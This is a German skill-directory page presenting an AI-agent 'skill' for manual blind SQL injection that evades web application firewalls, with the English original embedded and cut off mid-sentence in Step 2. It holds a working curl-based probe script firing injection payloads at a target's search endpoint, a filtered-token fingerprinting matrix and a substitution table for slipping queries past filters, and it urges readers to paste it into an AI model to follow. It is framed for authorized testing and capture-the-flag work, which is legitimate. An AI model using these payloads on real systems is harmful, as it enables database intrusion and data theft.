Zum Inhalt springen
Skillpedia
Sicherheit6.5k · #14050

blind-sqli

Was er macht

Dieser Leitfaden behandelt manuelle Prüfung auf blinde SQL-Injection, bei der die App nur wahr oder falsch zurückmeldet. Er richtet sich an Sicherheitsprüfer, die in einem autorisierten Test eine Web Application Firewall umgehen müssen.

Wann du ihn nutzt

  • ✓Wenn ein autorisierter Test einen klaren Unterschied zwischen wahr und falsch zeigt und Standardwerkzeuge blockiert sind.
  • ✓Wenn eine Web-Firewall gängige SQL-Schlüsselwörter filtert und sqlmap nicht durchkommt.
  • ✓Wenn du einen schrittweisen Ansatz brauchst, um eine blinde Injection mit wenigen Anfragen zu bestätigen.

Link zum Skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md

Kopiere ihn und füge ihn in deine KI ein (Claude, ChatGPT oder Cursor) mit der Bitte, den Anweisungen zu folgen.

So nutzt du ihn

Am einfachsten: Kopiere die Nachricht und füge sie in deine KI ein. Sie liest den Skill und folgt den Anweisungen.

Fertige Nachricht zum Einfügen

Nutze diesen Skill, um mir zu helfen: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md Lies die SKILL.md unter diesem Link und folge ihren Anweisungen für meine Aufgabe.
Soll deine KI Skills wie diesen selbst finden?Installiere den kostenlosen Skillpedia-MCP: eine Zeile, und sie durchsucht vor jeder Aufgabe 15.000+ Skills.In 1 Minute installieren →

Beispielanfrage an deine KI

“Unser autorisierter Test zeigt einen Unterschied zwischen wahr und falsch, aber die Firewall blockiert übliche Werkzeuge. Kannst du mir helfen, die Injection zu bestätigen?”

5 neue Skills pro Woche. 1 Minute Lesezeit.

So funktioniert es

Dein Agent bestätigt zuerst ein verlässliches Wahr-falsch-Signal, prüft, welche Schlüsselwörter gefiltert werden, und baut einfachere Prüfungen, die die Firewall nicht blockiert.

Technischer Inhalt (originale SKILL.md)

Originaltext des Autors, auf Englisch, direkt von GitHub.

Blind SQL Injection — Manual WAF Bypass

Companion to sqli.md. Load this only after you have:

  1. Confirmed a stable binary oracle (two distinct page states: "User exists" vs "No results", different content lengths, or different HTTP codes).
  2. Confirmed sqlmap with --tamper cannot pass the WAF. If sqlmap returns clean dumps, stop and use it — this skill is more expensive in tokens and wall-clock.

If both conditions hold, the goal is to hand-craft a payload that substitutes every filtered SQL token until each oracle probe returns a clean true/false signal, then extract the flag bit-by-bit with the smallest possible request count.

Confirm the oracle first (≤2 minutes)

The whole playbook collapses if your "true" and "false" responses aren't distinguishable. Reduce the response to a single grep-able token before any extraction:

probe() {
  local label="$1"; local payload="$2"
  local resp
  resp=$(curl -s --max-time 8 -X POST "http://$TARGET/search.php" \
    --data-urlencode "username=${payload}")
  echo "$resp" \
    | grep -oE "User exists[^<]*|No results|some item is filtered|Error|Welcome" \
    | head -1
}

probe "true probe"  "x\"||1=1#"     # expect: User exists
probe "false probe" "x\"||1=2#"     # expect: No results
probe "filter probe" "x\"||SLEEP(0)#"  # expect: filtered (token banned)

A single ambiguous response means you do NOT have an oracle yet — re-do recon. Time-based oracles work too, but bash's time resolution and HTTP jitter make a content oracle 5-10× more reliable.

Step 1 — WAF token fingerprint (batched probe script)

Test 10-15 candidate tokens in one script, log each as a labelled line. One script run beats 15 sequential bash calls (saves ~70% of the round-trip cost).

cat > /tmp/probe.sh <<'EOF'
#!/usr/bin/env bash
set -u
TARGET="${TARGET:?set TARGET=host:port}"
ENDPOINT="${ENDPOINT:-/search.php}"
PARAM="${PARAM:-username}"
INJ="${INJ:-x\"||{PAYLOAD}#}"     # outer template; {PAYLOAD} is replaced

probe() {
  local label="$1"; local payload="$2"
  local body="${INJ/'{PAYLOAD}'/$payload}"
  local resp
  resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \
    --data-urlencode "$PARAM=$body")
  local sig
  sig=$(echo "$resp" | grep -oE "User exists[^<]*|No results|filtered|some item[^<]*|Error" | head -1)
  printf "%-40s | %s\n" "$label" "${sig:-???}"
}

# === SQL token sniff matrix ===
probe "1=1 baseline true"              "1=1"
probe "1=2 baseline false"             "1=2"
probe "WHERE clause"                   "EXISTS(SELECT 1 FROM users WHERE 1=1)"
probe "AND keyword"                    "1=1 AND 1=1"
probe "&& operator"                    "1=1 && 1=1"
probe "OR keyword"                     "1=0 OR 1=1"
probe "|| operator"                    "1=0 || 1=1"
probe "IF function"                    "IF(1=1,1,0)"
probe "CASE WHEN"                      "(CASE WHEN 1=1 THEN 1 ELSE 0 END)"
probe "SUBSTRING(str,1,1)"             "SUBSTRING('abc',1,1)='a'"
probe "MID(str,1,1)"                   "MID('abc',1,1)='a'"
probe "ASCII(c)"                       "ASCII('a')=97"
probe "ORD(c)"                         "ORD('a')=97"
probe "GROUP_CONCAT()"                 "GROUP_CONCAT('a','b')='ab'"
probe "single-quote 'a'"               "'a'='a'"
probe "double-quote \"a\""             "\"a\"=\"a\""
probe "hex 0x61"                       "0x61='a'"
probe "arithmetic boolean"             "(1=1)*(1=1)=1"
EOF
chmod +x /tmp/probe.sh
TARGET=host.docker.internal:8080 /tmp/probe.sh | tee /tmp/probe.out

Every line that returns ??? (no matching signature) or filtered is a banned token. Every line that flips the oracle correctly (User exists for the true rows, No results for the false rows) is a usable primitive.

Common WAF substitution map (the bench-tested replacements that have worked across multiple targets):

Filtered token Substitute that survives
SUBSTRING(s,i,n) MID(s,i,n)
IF(c,t,f) (CASE WHEN c THEN t ELSE f END) or arithmetic (see below)
AND &&
OR ||
WHERE JOIN ... ON subquery, or move predicate into SUM((c1)*(c2))
'literal' 0x6c6974657261 (hex) or CHAR(108,105,116,...)
GROUP_CONCAT(IF(c,t,0)) SUM((c)*ASCII(...)) per position

Step 2 — boolean evaluation without IF/WHERE/AND

When the WAF strips IF, AND, WHERE together, the cleanest replacement is arithmetic multiplication of booleans. MySQL treats (comparison) as an integer

Häufige Fragen

Was ist ein binäres Orakel?

Ein Antwortmuster, das sich für wahre und falsche Fragen klar unterscheidet. Der Leitfaden verlangt es, bevor getestet wird.

Wann sollte stattdessen sqlmap genutzt werden?

Der Leitfaden sagt, sqlmap zuerst zu nutzen, wenn es die Firewall passieren kann, weil diese Methode langsamer ist.

Warum das Signal zuerst prüfen?

Der Leitfaden sagt, der Ansatz scheitert, wenn wahre und falsche Antworten nicht unterschieden werden können.

Details

Originalbeschreibung des Autors

Blind SQL injection under hostile WAF — manual bypass playbook for when sqlmap fails because common tokens (SUBSTRING, IF, AND, WHERE, single quotes) are filtered. Covers token-fingerprinting probe loops, arithmetic-multiplication boolean evaluation, hex-encoded literals, and exponential-probe binary search. Loaded on top of sqli.md when the binary oracle exists but tampers can't pass the WAF.

repo: BitterSecurity/Decepticon

Beliebtheit

GitHub-Sterne
6.5k
Platz im Ranking
#14050
Lizenz
Apache-2.0
Aktualisiert
1.11.2026

Ist dieser Skill nützlich?

0

Anmelden um abzustimmen.

Kommentare

  • …

Weitere Skills aus diesem Repository

Ähnliche Skills